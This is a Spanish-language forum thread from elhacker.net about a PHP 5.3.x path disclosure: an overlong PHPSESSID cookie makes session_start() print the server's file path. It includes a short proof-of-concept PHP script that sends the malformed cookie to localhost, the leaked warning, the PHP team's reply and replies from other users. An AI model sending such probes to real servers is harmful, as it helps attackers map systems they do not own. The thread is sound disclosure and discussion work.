elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Bug en PHP 5.3.1 (Path disclosure)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bug en PHP 5.3.1 (Path disclosure)  (Leído 6,838 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Bug en PHP 5.3.1 (Path disclosure)
« en: 26 Diciembre 2009, 23:16 pm »

Encontré un bug en PHP y le mandé un correo a php.net pero no parece interesarles asi que se los comento acá mejor.

El problema de seguridad en php 5.3.0, se que actualmente la versión estable de php es 5.3.1 pero estuve observando el changelog y no encontré ningún indicio de haber encontrado y reparado este problema que quiero contar.

El problema es que si inicias sesión con session_start() te crea una cookie llamada "PHPSESSID" la cual contiene un valor alfanumérico y el problema está en que si modificas el valor de dicha cookie una ves creada la sesión entonces se creará un nuevo archivo en el directorio temporal con el nombre de la cookie.

Yo entiendo que el valor máximo de carácteres de un archivo son 256 por lo tanto si le ponemos un valor al PHPSESSID de 300 carácteres se producirá un error revelando un "path disclosure" pudiendo forzar cualquier resultado.

Ejemplo:
Código
  1. <?php
  2. if($_SESSION)
  3. echo $_SESSION;
  4. else
  5. $_SESSION = 'xx';
  6. ?>

Ahora envías la petición con tu cookie modificada:
Código
  1. <?php
  2.  
  3. $payload =
  4. 'GET / HTTP/1.1
  5. Host: 127.0.0.1
  6. Connection: close
  7. Cookie: PHPSESSID='.str_repeat('a', 500).';
  8.  
  9. ';
  10.  
  11. if(!$handle = fsockopen('127.0.0.1', 80)){
  12. die('Error');
  13. }else{
  14. fputs($handle, $payload);
  15. while(!feof($handle)){
  16.  $retorno .= fread($handle, 1024);
  17. }
  18. echo nl2br(htmlspecialchars($retorno, ENT_QUOTES));
  19. }
  20. ?>

Resultado:
Citar
Warning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3

Al enviar esto por correo me dijeron lo siguiente:
Citar
No del todo seguro de haber entendido. ¿Es sólo una ruta de divulgación del mensaje de error le preocupa? Nosotros no consideramos que un problema de seguridad porque los sistemas de producción no debe estar funcionando con "display_errors" activada.

-Rasmus


Y bueno, como vi que no les interesaba mucho le dije que ya no lo molestaría mas:
Citar
Si, es lo ideal, y también todos deberían urilizar htmlspecialchars para evitar xss y mysql escape real string para evitar una inyección sql pero no todos lo hacen.

Actualmente a grán mayoría de sistemas CMS contienen en sus configuraciones un error_reporting habilitado tales como joomla, wordpress, phpbb, vbulettin, smf, moodle, phpnuke, phpmyadmin, sqliteadmin, y muchos mas.

recuerdo hace un tiempo pasado hubo un problema debido a que la cookie de sesión permitía carácteres que no fueran alfanuméricos y por la misma razón se producía el mismo tipo de error lanzando un "path disclosure", por lo cual supuse que también podría importarles pero veo que me equiboqué, no volveré a molestarlos.

Probé este bug en varios servidores y comunidades muy conocidas y de los 8 servidores solo dos no reaccionaron a este problema debido a que por defecto en la configuración del servidor impiden la visualización de errores pero en todos los demás funciona bién.

Incluso puedes crear un exploit para resolver la ruta local del archivo afectado que utilize sesiones de php con session_start().
En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: Bug en PHP 5.3.1 (Path disclosure)
« Respuesta #1 en: 27 Diciembre 2009, 02:29 am »

Heee tio, muy buen hecho, pero es solo la version php 5.3.1 o >= 5.3.1?
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: Bug en PHP 5.3.1 (Path disclosure)
« Respuesta #2 en: 27 Diciembre 2009, 04:08 am »

Valla que si funciona, muchas veces a los tipos de PHP no les importa si los que usan PHP programan pensando en la seguridad o no.

Pero que mas le hacemos.

Saludos
En línea

Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.191



Ver Perfil WWW
Re: Bug en PHP 5.3.1 (Path disclosure)
« Respuesta #3 en: 27 Diciembre 2009, 06:32 am »

me sigue asombrando tu habilidad whk, la verdad te felicito por econtrar y reportar tal error, la verdad los de php.net se la re creen y les molesta que un simple suuario les informe un problema. la verdad, vallanse al carajo!
En línea

AoX04

Desconectado Desconectado

Mensajes: 4


Mi existencia tiende a pi en busqueda de la verdad


Ver Perfil
Re: Bug en PHP 5.3.1 (Path disclosure)
« Respuesta #4 en: 8 Enero 2012, 20:06 pm »

Hey que tal... me acabe registrando en el foro solo para contestar a este post jeje.

Realmente no es un bug de PHP... por que se supone que PHP debe de funcionar de esta manera, el verdadero error de seguridad es el mostrar los errores del servidor (lo cual es un error de quien desarrollo la aplicacion).

display_errors = Off en el php.ini del servidor oculta todos los mensajes de error de PHP.

y aunque haces error_reporting(0); al inicio del documento esto se ejecuta en runtime pero errores como

"Warning: session_start() [function.session-start]: open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php on line 3"

Son originados cuando la pagina se compila por lo cual cuando este sucede la error_reporting(0) aun no se ha ejecutado y el error sale a la luz.

Osea el chiste esta en un mal uso de:
error_reporting(0) por que este solo afecta a los errores de Runtime y no de compilacion.
Y un hecho que casi nadie sabe... los docs PHP se compilan antes de ser servidos.
"PHP source code is compiled on-the-fly to an internal format that can be executed by the PHP engine."-Wikipedia.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda para encontrar un Full Path Disclosure
Nivel Web
Sp3ctr3 2 3,500 Último mensaje 31 Julio 2015, 19:03 pm
por Collider
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines